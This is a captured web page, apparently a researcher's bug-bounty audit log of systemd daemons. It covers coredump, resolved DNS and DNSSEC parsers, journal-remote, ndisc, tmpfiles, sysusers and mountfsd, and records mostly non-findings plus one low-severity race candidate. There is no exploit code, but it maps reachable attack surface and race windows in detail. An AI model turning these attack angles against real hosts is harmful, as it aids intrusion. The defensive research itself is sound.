| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/systemd-coredump-resolved-audit-log/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Live audit log - started 2026-04-17 00:10 UTC | Zion Boggan"> | |
| + | <meta property="og:description" content="Top-to-bottom audit log of systemd-coredumpd and systemd-resolved DNS parser. No findings; the writeup is the methodology and the dead ends."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/systemd-coredump-resolved-audit-log/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Live audit log - started 2026-04-17 00:10 UTC | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Top-to-bottom audit log of systemd-coredumpd and systemd-resolved DNS parser. No findings; the writeup is the methodology and the dead ends."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Live audit log - started 2026-04-17 00:10 UTC","description":"Top-to-bottom audit log of systemd-coredumpd and systemd-resolved DNS parser. No findings; the writeup is the methodology and the dead ends.","url":"https://zionboggan.com/security-research-notebook/systemd-coredump-resolved-audit-log/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Methodology</div> | |
| + | <h1>Live audit log, started 2026-04-17 00:10 UTC</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Pass 1: coredump/ subsystem (3.8k LoC across ~10 files)</h2> | |
| + | <h3>Files read</h3> | |
| + | <ul> | |
| + | <li>coredump.c (44 LoC), main(), dispatches to kernel-helper or receive.</li> | |
| + | <li>coredump-kernel-helper.c (75 LoC), receives from kernel core_pattern, forwards to container or submits locally.</li> | |
| + | <li>coredump-receive.c (145 LoC), reads the /run/systemd/coredump socket.</li> | |
| + | <li>coredump-send.c (336 LoC), forwards crash to container’s coredump service.</li> | |
| + | <li>coredump-submit.c (813 LoC), writes ELF to disk, parses metadata, sends to journal.</li> | |
| + | <li>coredump-context.c (599 LoC), parses /proc/$pid metadata, builds iovw.</li> | |
| + | <li>coredump-vacuum.c (230 LoC), directory cleanup, LRU by UID.</li> | |
| + | <li>elf-util.c parse_elf_object (read the fork/sandbox wrapper), forks to parse ELF with FORK_NEW_USERNS + FORK_MOUNTNS_SLAVE. Sandboxing is strong.</li> | |
| + | </ul> | |
| + | <h3>Trust boundaries mapped</h3> | |
| + | <ol> | |
| + | <li>Kernel → outer coredump (root). Input via argv[] + stdin. argv kernel-controlled; stdin is core ELF.</li> | |
| + | <li>Outer → inner coredump via /run/systemd/coredump Unix socket, SocketMode=0600. Only root can connect.</li> | |
| + | <li>Host outer → container inner via forwarding path. Gated by pidfd OR dumpable==SUID_DUMP_USER, plus Delegate=yes + CoredumpReceive=yes on target cgroup.</li> | |
| + | <li>Inner coredump as root: saves ELF to /var/lib/systemd/coredump/, attaches mount tree, drops priv.</li> | |
| + | <li>Inner coredump as user: parse_elf_object in sandboxed child.</li> | |
| + | </ol> | |
| + | <h3>Observations, non-findings (yet)</h3> | |
| + | <ol> | |
| + | <li> | |
| + | <p><code>make_filename()</code> at coredump-submit.c:58 uses <code>xescape(comm, "./ ")</code>, escapes dot, slash, space. Dot dot attacks blocked. Comm comes from /proc/$pid/comm, kernel-controlled, no NUL bytes. Safe.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>startswith(context->comm, "systemd-coredum")</code> at coredump-submit.c:696, only 15 of 16 TASK_COMM_LEN bytes checked. Any comm starting with “systemd-coredum” matches. Attacker can set their comm to “systemd-coredumX” via prctl(PR_SET_NAME). But that only sets fork_disable_dump=true which is the SAFE path (prevents parse crash recursion). Not a finding. However: the inverse, an attacker process named “not-matching” that crashes the parse_elf sandbox child could cause a systemd-coredump recursion storm. Mitigated by RuntimeMaxSec=5min and MaxConnectionsPerSource=8 on the socket, plus fork_disable_dump=true for truly-named sd-parse-elf children. Edge case, DoS only.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>Mount tree attach at coredump-submit.c:562 deliberately omits MOUNT_ATTR_NOSYMFOLLOW with the justification that libdwfl uses <code>openat2(RESOLVE_IN_ROOT)</code>. This is a <strong>trust claim</strong> about elfutils. If any path opened inside the attacker-controlled mount tree by elfutils does NOT use RESOLVE_IN_ROOT, it is a symlink escape. But: the escape happens AFTER <code>change_uid_gid</code> drops to the crashing user’s UID, so the exposure is limited to files the user already has access to. Combined with FORK_NEW_USERNS in parse_elf_object, even if elfutils has a bug, the sandbox should contain it. Worth a deeper elfutils audit only if we need to fall back.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>can_forward_coredump()</code> at coredump-send.c:98 requires both <code>Delegate=yes</code> and <code>CoredumpReceive=yes</code> on the container’s cgroup. A misconfigured host combined with a compromised container could allow coredump forwarding, but the cgroup props are root-set. Not exploitable by an unprivileged user.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>In <code>coredump_send_to_container()</code> at coredump-send.c:226, the pidns check + dumpable check closes the PID-reuse race. With pidfd, reliable. Without pidfd (ancient kernels <5.3), the <code>dumpable != SUID_DUMP_USER</code> fallback catches SUID processes. Attack surface: kernel <5.3 + no SUID. Vanishingly rare.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h3>Interim verdict for coredump/</h3> | |
| + | <p>Surface is small, boundaries are well-designed, sandbox is strong (userns + mountns slave in parse_elf child). Novel critical bug here is a high bar.</p> | |
| + | <h2>Pivot decision</h2> | |
| + | <p>Moving to <strong>resolve/</strong> (52k LoC) next. DNS/mDNS/LLMNR parsers have a richer CVE history: | |
| + | - CVE-2022-2526 (resolved UAF in DnsTransaction) | |
| + | - CVE-2023-7008 (resolved TXT RR spoofing via mDNS) | |
| + | - CVE-2017-9445 (DHCPv6 OOB write in networkd)</p> | |
| + | <p>Resolve’s attack surface includes: | |
| + | - DNS wire parsing (dns-packet.c) | |
| + | - mDNS/LLMNR parsing | |
| + | - DNS-over-TLS cert handling | |
| + | - DNSSEC validation | |
| + | - Cache management (UAF territory)</p> | |
| + | <p>Payout for RCE in resolved = Critical = €10k. Priv-less remote (single-packet mDNS/LLMNR on same LAN) would be sexy.</p> | |
| + | <h2>Pass 2: resolve/ DNS wire parsers</h2> | |
| + | <h3>Files read</h3> | |
| + | <ul> | |
| + | <li>src/shared/dns-packet.c, 3069 LoC. Read primitive readers (1390-1660) and full parse switch (1858-2400).</li> | |
| + | <li>src/resolve/resolved-mdns.c, 701 LoC. mDNS listener on-network entry point.</li> | |
| + | </ul> | |
| + | <h3>Findings, still non-exploitable</h3> | |
| + | <ol> | |
| + | <li> | |
| + | <p><code>dns_packet_read_name</code> at dns-packet.c:1572, DNS name decompression. jump_barrier descends strictly on each pointer jump, bounded m against DNS_HOSTNAME_MAX. No infinite loop, no OOB, no obvious off-by-one. Cleanly coded.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>dns_packet_read_rr</code> at dns-packet.c:1858, the RR parse switch is gated upfront by <code>rdlength > p->size - p->rindex → -EBADMSG</code> (line 1898) and post-gated by <code>p->rindex - offset != rdlength → -EBADMSG</code> (line 2388). So an RR parser that reads fewer or more bytes than rdlength is caught. RR parsers can read beyond rdlength into the next RR area (because individual reads only check against p->size not rdlength), but the post-gate catches every such overshoot. Defense in depth works here.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>DNS_TYPE_SSHFP</code> at dns-packet.c:2097 is missing the <code>if (r < 0) return r;</code> after <code>dns_packet_read_memdup</code>. This is cosmetically concerning but not exploitable: when read_memdup fails, fingerprint_size stays at its zero-init value, and the next line <code>if (rr->sshfp.fingerprint_size <= 0) return -EBADMSG;</code> rejects the packet. Same pattern as DS/DNSKEY which DO have the explicit check. Would be a valid CLEANUP patch but not a bounty-worthy bug.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>DNS_TYPE_CAA</code> at dns-packet.c:2338 lacks the explicit error check after read_memdup too, but the trailing <code>if (r < 0) return r;</code> at line 2386 catches it. Safe.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>mDNS reply handler at resolved-mdns.c:461 filters to .local/.in-addr.arpa/.ip6.arpa only, BUT only AFTER <code>dns_packet_extract</code> ran on the full packet. If a parser bug existed, the filter wouldn’t help. This is the reachability model: attacker on-link sends mDNS reply with crafted RR of any name, parser runs, then domain filter drops the packet. Parser bugs would fire before the filter.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>mDNS query handler at resolved-mdns.c:262 calls <code>dns_packet_extract</code> at line 275. No domain filter on queries. Crafted RR in additional section = direct parser hit.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h3>Verdict for dns-packet parse path</h3> | |
| + | <p>Dense and well-audited. I did not find a smoking gun. Will try fuzzing with the existing harness (<code>fuzz-dns-packet.c</code>) to let the tool surface edge cases in parallel.</p> | |
| + | <h3>Next targets if fuzzing is dry</h3> | |
| + | <ul> | |
| + | <li><code>resolved-dns-dnssec.c</code> (2245 LoC), RRSIG/DNSKEY/NSEC3/DS validation. Crypto edge cases + iteration counters + digest algorithm selection. High complexity.</li> | |
| + | <li><code>resolved-dns-stream.c</code>, DoT/DoH stream reassembly. Framing bugs on TCP.</li> | |
| + | <li><code>resolved-dns-cache.c</code> (1528 LoC), cache eviction + TTL handling + cross-tenant key reuse.</li> | |
| + | </ul> | |
| + | <h2>Pass 3: newer/less-scrutinized daemons</h2> | |
| + | <h3>resolved-dns-dnssec.c crypto paths (partial)</h3> | |
| + | <ul> | |
| + | <li> | |
| + | <p><code>dnssec_rsa_verify</code> at resolved-dns-dnssec.c:135 parses RFC 3110 DNSKEY | |
| + | format (exponent length variable, two forms). Arithmetic checks on | |
| + | <code>3 + exponent_size >= key_size</code> and <code>1 + exponent_size >= key_size</code> are | |
| + | correct, no wrap (exponent_size max 65535 via uint8/uint16 promotion). | |
| + | Modulus subtraction guaranteed positive by the guards.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><code>dnssec_nsec3_hash</code> at resolved-dns-dnssec.c:1193 uses a fixed buffer | |
| + | <code>result[EVP_MAX_MD_SIZE]</code> (64 bytes). EVP_MD_size return is checked | |
| + | against <code>next_hashed_name_size</code>. Iteration count bounded by | |
| + | NSEC3_ITERATIONS_MAX. Clean.</p> | |
| + | </li> | |
| + | </ul> | |
| + | <h3>nsresourced/ varlink surface</h3> | |
| + | <ul> | |
| + | <li><code>vl_method_add_mount_to_user_namespace</code> at nsresourcework.c:1615 gates | |
| + | on <code>varlink_check_privileged_peer</code> (root-only). Not an unpriv boundary.</li> | |
| + | <li><code>vl_method_register_user_namespace</code> at nsresourcework.c:1472 has | |
| + | <code>POLKIT_DEFAULT_ALLOW</code> so unpriv users CAN register. But it just adds | |
| + | them to a BPF map with an empty allowlist. No privileged action exposed.</li> | |
| + | <li>Did NOT audit <code>vl_method_allocate_user_range</code> or | |
| + | <code>vl_method_add_netif_to_user_namespace</code> yet, queued for next pass.</li> | |
| + | </ul> | |
| + | <h3>mountfsd/ varlink surface (reviewed <code>vl_method_mount_image</code>)</h3> | |
| + | <ul> | |
| + | <li>Image trust is anchored at inode identity, not path. | |
| + | <code>verify_trusted_image_fd_by_path</code> at mountwork.c:186 gets the fd’s | |
| + | /proc/self/fd path, re-resolves the filename inside the trusted dir via | |
| + | <code>chase(CHASE_SAFE)</code> + <code>chaseat(CHASE_SAFE)</code>, then compares | |
| + | (st_dev, st_ino) via <code>stat_inode_same</code>. A user-writable entry in the | |
| + | trusted dir would be needed to spoof trust, and trusted dirs are | |
| + | root-owned by default.</li> | |
| + | <li>Untrusted images default to <code>image_policy_untrusted</code> which blocks | |
| + | unsigned partitions.</li> | |
| + | <li>Mount options route into <code>polkit_untrusted_action</code> which requires | |
| + | elevated polkit.</li> | |
| + | <li>Surface is real and interesting but defended in depth. Would need a | |
| + | missing check inside <code>dissect_loop_device</code> or <code>image_policy_untrusted</code> | |
| + | permissiveness to matter. Audit queued, not completed.</li> | |
| + | </ul> | |
| + | <h3>Pass 3 verdict</h3> | |
| + | <p>The newer daemons (nsresourced, mountfsd, homed) are the softest targets | |
| + | topologically because they’re newer. They’re also topologically well- | |
| + | designed: every one I looked at has either a <code>varlink_check_privileged_peer</code> | |
| + | gate or an inode-identity anchor or a polkit gate. Getting to a concrete | |
| + | finding requires spending hours inside <code>dissect_loop_device</code>, image policy | |
| + | enforcement, or <code>userns_registry_*</code>. Holding off until after the fuzzer | |
| + | run finishes.</p> | |
| + | <h2>Pass 4, journal-remote (2026-04-17 01:10 UTC)</h2> | |
| + | <p>Target: <code>src/shared/journal-importer.c</code> + <code>src/journal-remote/journal-remote-main.c</code> HTTP upload path.</p> | |
| + | <p>Audit coverage: | |
| + | - State machine LINE / DATA_START / DATA / DATA_FINISH, verified pointer math through memmove reconstruction path. <code>field = data - 8 - field_len</code> arithmetic correct relative to buf base after realloc. | |
| + | - <code>journal_importer_push_data</code>, called only from two sites in <code>journal-remote-main.c</code>, both bounded: decompressed blob size capped by <code>decompress_blob(..., DATA_SIZE_MAX)</code>; libmicrohttpd chunk size bounded by HTTP protocol. No user-reachable integer overflow in <code>imp->filled + size</code> arithmetic. | |
| + | - <code>journal_field_valid</code>, max 64 chars, A-Z/0-9/_ only, rejects empty names. Binary-field <code>field_len</code> therefore capped at 65 bytes (64 + replaced <code>\n</code>→<code>=</code>). | |
| + | - Data_size = 0 case is handled but silently drops the field (quality bug, not security). | |
| + | - 32-bit <code>size_t</code> concern on <code>imp->data_size = unaligned_read_le64(...)</code>, low impact, systemd predominantly 64-bit. | |
| + | - lz4 decompression <code>size</code> clamped by <code>dst_max=DATA_SIZE_MAX</code> in caller path; <code>LZ4_decompress_safe</code> bounds-checks output.</p> | |
| + | <h3>Fuzz harness gap identified</h3> | |
| + | <p><code>src/journal-remote/fuzz-journal-remote.c</code> caps input at 65536 bytes (<code>outside_size_range(size, 3, 65536)</code>). Real parser accepts up to ENTRY_SIZE_MAX = 770MB (64-bit build). The harness also uses a non-passive fd (memfd), so the <code>journal_importer_push_data</code> path used by HTTP uploads is <strong>entirely unfuzzed</strong>. Compressed HTTP upload (xz/lz4/zstd) is also untested by fuzz.</p> | |
| + | <p>Gap matters if there’s an interaction bug between: | |
| + | (a) realloc_buffer shrinking in journal_importer_drop_iovw (line 461-466 memcpy compaction) | |
| + | (b) iovw rebase after a push_data-triggered realloc | |
| + | (c) large multi-field entries exceeding the current 64KB cap</p> | |
| + | <p>Not a finding by itself. Noted for a future extended fuzz session.</p> | |
| + | <h3>Verdict</h3> | |
| + | <p>Journal-remote parser is defensively written. Not a productive surface for this hunt. Pivoting.</p> | |
| + | <h2>Pass 5, ndisc option parsers + encrypted DNS (2026-04-17 01:20 UTC)</h2> | |
| + | <p>Target: <code>src/libsystemd-network/ndisc-option.c</code> + <code>src/libsystemd-network/sd-dns-resolver.c</code> (DNR / SvcParams) + <code>src/shared/dns-domain.c</code> (wire format parser)</p> | |
| + | <p>Why: RA/DHCPv6 parsers run as root on every systemd-networkd host. Attacker on | |
| + | same L2 segment can send crafted options. Encrypted DNS (RFC 9463 DNR) is newer | |
| + | and less audited.</p> | |
| + | <p>Audit coverage: | |
| + | - <code>ndisc_option_parse</code> (core TLV reader), bounds checks tight, len = opt_len*8 | |
| + | with prior offset <= raw_size assertion. | |
| + | - Fixed-size option parsers (prefix, MTU, redirected-header), length-exact | |
| + | checks; safe. | |
| + | - <code>ndisc_option_parse_rdnss</code>, len%16==8 alignment check + n_addrs = len/16 | |
| + | arithmetic; in-bounds. | |
| + | - <code>ndisc_option_parse_dnssl</code>, label parser checks <code>c > 63</code> (DNS_LABEL_MAX) so | |
| + | rejects compression pointers. Bounds check <code>pos + c >= len</code> is off-by-one in | |
| + | the safe direction (rejects valid labels ending exactly at len). Not a bug. | |
| + | - <code>ndisc_option_parse_encrypted_dns</code> (DNR, RFC 9463), all sub-length checks | |
| + | against <code>len</code>, aligned with off advance. Clean. | |
| + | - <code>dnr_parse_svc_params</code>, SvcParam iteration bounds checks against overall | |
| + | option len, not the SvcParam value boundary. ALPN sub-parser can read | |
| + | attacker bytes past the individual SvcParam’s declared length but within | |
| + | the overall option bytes (attacker-supplied). Not a memory-safety issue, just a logic imprecision. Result: parser returns EBADMSG via final | |
| + | <code>poff != pend</code> check. | |
| + | - <code>dns_name_from_wire_format</code>, standard DNS wire parser, 63-byte label cap, | |
| + | 255-byte total cap, no compression pointer handling (correct for this use). | |
| + | - Unreachable path: <code>DNS_SVC_PARAM_KEY_MANDATORY (key=0)</code> case at line 210 | |
| + | cannot be reached because <code>lastkey >= key</code> check (initial lastkey=0) | |
| + | rejects key=0 as the first/only param. Minor dead code, not a security | |
| + | issue.</p> | |
| + | <p>Verdict: sd-ndisc + sd-dns-resolver + dns-domain wire parser are well-hardened. | |
| + | No exploitable issue found. Moving on.</p> | |
| + | <h2>Pass 5.5, storagetm (2026-04-17 01:25 UTC)</h2> | |
| + | <p><code>src/storagetm/storagetm.c</code>, confirmed this is a configfs-based nvmet | |
| + | configurator, NOT a userspace NVMe protocol parser. All actual NVMe-over-TCP | |
| + | protocol handling is in the kernel (drivers/nvme/target/). systemd-storagetm | |
| + | userspace only writes to /sys/kernel/config/nvmet/…, no remote attacker | |
| + | surface in its own code.</p> | |
| + | <h2>Running tally, what’s been checked this hunt</h2> | |
| + | <p>Pass 1: src/coredump/ (all files), clean | |
| + | Pass 2: src/resolve/resolved-dns-dnssec.c RSA + NSEC3, clean | |
| + | Pass 3: src/mountfsd/, src/nsresourced/ varlink methods, architecturally defended | |
| + | Pass 4: src/shared/journal-importer.c + HTTP upload path, clean (fuzz gap noted) | |
| + | Pass 5: src/libsystemd-network/ndisc-option.c + DNR, clean | |
| + | Pass 5.5: src/storagetm/, not a userspace parser surface</p> | |
| + | <p>Fuzzers: 10M+ combined executions on dns-packet, resource-record, etc-hosts, 0 crashes.</p> | |
| + | <h2>Realistic next steps (ranked)</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>src/libsystemd-network/sd-dhcp6-client.c + dhcp6-option parsers</strong> | |
| + | DHCPv6 client options from rogue DHCPv6 server on LAN. Less audited than DHCPv4 | |
| + | (which has had CVEs historically). Option parsing with length+type TLVs.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Fuzz the uncovered paths</strong>:, Extend fuzz-journal-remote to call journal_importer_push_data with | |
| + | multi-chunk inputs and compressed HTTP bodies., Write a fuzz-ndisc-ra harness that feeds raw ICMP6 packets into the | |
| + | option parser (existing fuzz-ndisc-rs covers router solicitations but | |
| + | not router advertisements with all option types).</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>src/sysusers/sysusers.c</strong>, privileged user/group creation tool. TOCTOU | |
| + | or path-based bugs when creating homes / writing /etc/passwd.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>src/tmpfiles/tmpfiles.c</strong>, classic CVE territory. File creation races. | |
| + | Path-based vs fd-based checks. Extended attributes.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>D-Bus method handlers in systemd-logind, systemd-hostnamed</strong> - | |
| + | unprivileged-to-root transition boundary; method argument validation.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <p>The fuzzer’s 10M-execution 0-crash result on parsers we tested strongly | |
| + | suggests parser attack surface is not where a P1 lives this hunt. The | |
| + | productive targets from here are logic bugs in privileged helpers (#3, #4) | |
| + | or extended fuzzing of uncovered network parsers (#1, #2).</p> | |
| + | <h2>Pass 6, tmpfiles dir_cleanup race (2026-04-17 01:45 UTC)</h2> | |
| + | <p>Desktop Claude senior review: [path redacted]</p> | |
| + | <p><strong>Finding candidate</strong>: TOCTOU race between <code>xstatx_full</code> (tmpfiles.c ~line 694) and <code>unlinkat</code> (~line 857) in <code>dir_cleanup</code>. Window: skip-decisions and <code>xopenat</code> bracketed by advisory <code>flock</code>.</p> | |
| + | <p><strong>Prior-art anchor</strong>: CVE-2026-3888 (snapd LPE, 2026-03-17), verified in knowledge DB. Same code path.</p> | |
| + | <p><strong>Exploit reality check</strong> (where I disagree with Desktop’s severity): | |
| + | - Rename within a single attacker-owned dir: no new capability vs. direct unlink. | |
| + | - Cross-dir via hardlink (<code>fs.protected_hardlinks=0</code> kernels): unlink decrements refcount, doesn’t reach original path. Target file at <code>/etc/X</code> survives. | |
| + | - Subdir recursion race: unlinkat(AT_REMOVEDIR) returns ENOTEMPTY which is silently swallowed. | |
| + | - CVE-2026-3888 class (tmpfiles deletes, privileged service re-creates, attacker wins race): requires external service (snapd) with the bug. Systemd’s own <code>R!</code> entries (<code>/tmp/systemd-private-*</code>) are boot-time only and pre-sysinit, no concurrent re-creator.</p> | |
| + | <p><strong>Severity verdict</strong>: DoS / integrity, not privesc. Probably Medium (€3k), not Critical (€10k). | |
| + | <strong>Recommendation</strong>: note for possible future low-severity writeup, not a P1 submission.</p> | |
| + | <p>Moving on to src/sysusers/sysusers.c.</p> | |
| + | <h2>Pass 7, sysusers.c (2026-04-17 02:05 UTC)</h2> | |
| + | <p>Target: src/sysusers/sysusers.c (2393 LoC)</p> | |
| + | <p>Audit coverage: | |
| + | - <code>write_files</code> / <code>write_temporary_*</code> / <code>make_backup</code>, all operate on /etc/{passwd,shadow,group,gshadow}. Paths are constant, /etc is root-owned. Temp files created in same dir via fopen_temporary_label → atomic rename. No attacker-controllable path or symlink window. | |
| + | - <code>make_backup</code> at line 316 opens src without O_NOFOLLOW but src is /etc/passwd etc (root-only-writable dir), non-issue. | |
| + | - <code>read_id_from_file</code> uses chase_and_stat w/ CHASE_PREFIX_ROOT, safe path resolution. | |
| + | - Config parsing (<code>parse_line</code>) reads from /etc/sysusers.d/ which is root-owned.</p> | |
| + | <p>Clean. No attacker surface outside of –root= mode (which requires root to invoke).</p> | |
| + | <p>Moving on. Candidate targets ranked: | |
| + | 1. src/cryptenroll/ (FIDO2/PKCS11 paths, newer, less audited) | |
| + | 2. src/pcrlock/ (JSON policy parser + TPM2 events) | |
| + | 3. Dispatching one more strategic question to Desktop Claude for “remaining high-value non-parser surface”.</p> | |
| + | <h2>Pass 4, mountfsd full re-read (2026-04-17 ~07:00 UTC)</h2> | |
| + | <p>Full read of mountwork.c (1599 LoC). All three varlink methods audited:</p> | |
| + | <h3>vl_method_mount_image (line 362)</h3> | |
| + | <ul> | |
| + | <li>Trust check <code>verify_trusted_image_fd_by_path</code> (186): inode-anchored via | |
| + | <code>stat_inode_same(&sta, &stb)</code> at 252. fd→inode binding stable across | |
| + | rename(2), so path-string trust cannot be smuggled by post-open rename.</li> | |
| + | <li>Content TOCTOU between trust check (444) and <code>loop_device_make</code> (516) | |
| + | exists in theory, but trusted image dirs are conventionally root:root 0644 | |
| + | in distro packaging, exploitation would require a config bug, not a | |
| + | systemd bug. Out of scope for the bounty.</li> | |
| + | <li><code>userns_fd >= 0</code> flips POLKIT_DEFAULT_ALLOW (494), but only after | |
| + | <code>validate_userns</code> (296) confirms it’s a real user namespace via | |
| + | <code>fd_is_namespace</code>. is_our_namespace check zeroes the fd if it’s the host | |
| + | ns, so DEFAULT_ALLOW cannot be triggered by passing /proc/self/ns/user.</li> | |
| + | <li>Image-policy retry loop (546-615) and verity-decrypt retry loop (630-699) | |
| + | both gate the second escalation through <code>varlink_verify_polkit_async_full</code> | |
| + | with flags=0, no DEFAULT_ALLOW on the escalation path.</li> | |
| + | </ul> | |
| + | <h3>vl_method_mount_directory (line 1067)</h3> | |
| + | <ul> | |
| + | <li><code>validate_directory_fd</code> (837) traverses up to 16 parents looking for a | |
| + | peer-owned ancestor when the directory itself is foreign-UID-owned. | |
| + | STATX_ATTR_MOUNT_ROOT defends against following bind-mount escapes.</li> | |
| + | <li><code>unmapped_st.st_uid != current_owner_uid</code> post-open_tree check (1197) | |
| + | catches the case where dropping idmap reveals different underlying owner. | |
| + | Tight.</li> | |
| + | <li>userns range structural check (1230-1263) requires transient or foreign | |
| + | UID base, 64K alignment, 1:1 inside/outside. No off-by-one observed.</li> | |
| + | </ul> | |
| + | <h3>vl_method_make_directory (line 1321)</h3> | |
| + | <ul> | |
| + | <li>Created with tempfn_random + atomic rename_noreplace → no symlink race.</li> | |
| + | <li>mode masked to 0775 (1349), never world-writable.</li> | |
| + | <li>Owner forced to FOREIGN_UID_BASE (1420), directory cannot be created | |
| + | owned by root from this method.</li> | |
| + | </ul> | |
| + | <h3>Conclusion</h3> | |
| + | <p>mountfsd is the most carefully written privilege boundary I’ve read in | |
| + | systemd so far. No finding. Backup target nsresourced still on the | |
| + | list, but my expectations are now low, same author, same idiom set.</p> | |
| + | <h3>Pass-5 candidates (revised priority)</h3> | |
| + | <ol> | |
| + | <li><code>src/resolve/resolved-dns-dnssec.c</code>, large parser, less reviewed than | |
| + | dns-packet, RRSIG/DNSKEY/DS validation arithmetic. <strong>Top pick.</strong></li> | |
| + | <li><code>src/sysext/sysext.c</code>, image overlay composition, runs as root, takes | |
| + | user-provided image dirs.</li> | |
| + | <li><code>src/network/networkd-dhcp4-server.c</code>, DHCP server option emit/parse, | |
| + | touched recently.</li> | |
| + | </ol> | |
| + | <h2>Pass 5, resolved-dns-dnssec.c partial (2026-04-17 ~07:15 UTC)</h2> | |
| + | <p>Read crypto verify primitives (lines 71-382) and RRSIG canonicalization | |
| + | (407-690). Observations:</p> | |
| + | <ul> | |
| + | <li>RFC 1982 serial-number arithmetic NOT used in inception/expiration | |
| + | comparisons (lines 422, 472). <code>if (inception > expiration) return -EINVAL</code> | |
| + | uses simple unsigned compare. Pre-2038 this is a non-issue. After | |
| + | Y2038 wrap, valid wrap-around RRSIGs would be rejected (DoS, not bypass).</li> | |
| + | <li><code>dnssec_eddsa_verify_raw</code> (311) builds a <code>q = 0x04 || signature</code> buffer | |
| + | with <code>newa</code> (line 325-327) but never passes it to anything. Dead cruft | |
| + | inherited from the ECDSA pattern. Not a vulnerability.</li> | |
| + | <li>RSA exponent split (135-181) handles both short (<=255) and long (>=256) | |
| + | forms per RFC 3110. Bounds checks use <code>>=</code> so at least 1 modulus byte | |
| + | guaranteed. Tight.</li> | |
| + | <li>ECDSA path: hardcoded P-256/P-384 curves, key_size validated, signature | |
| + | split into r/s of equal halves. Stack alloc bounded. Tight.</li> | |
| + | <li>NSEC3 hash (1193): iteration cap NSEC3_ITERATIONS_MAX enforced before | |
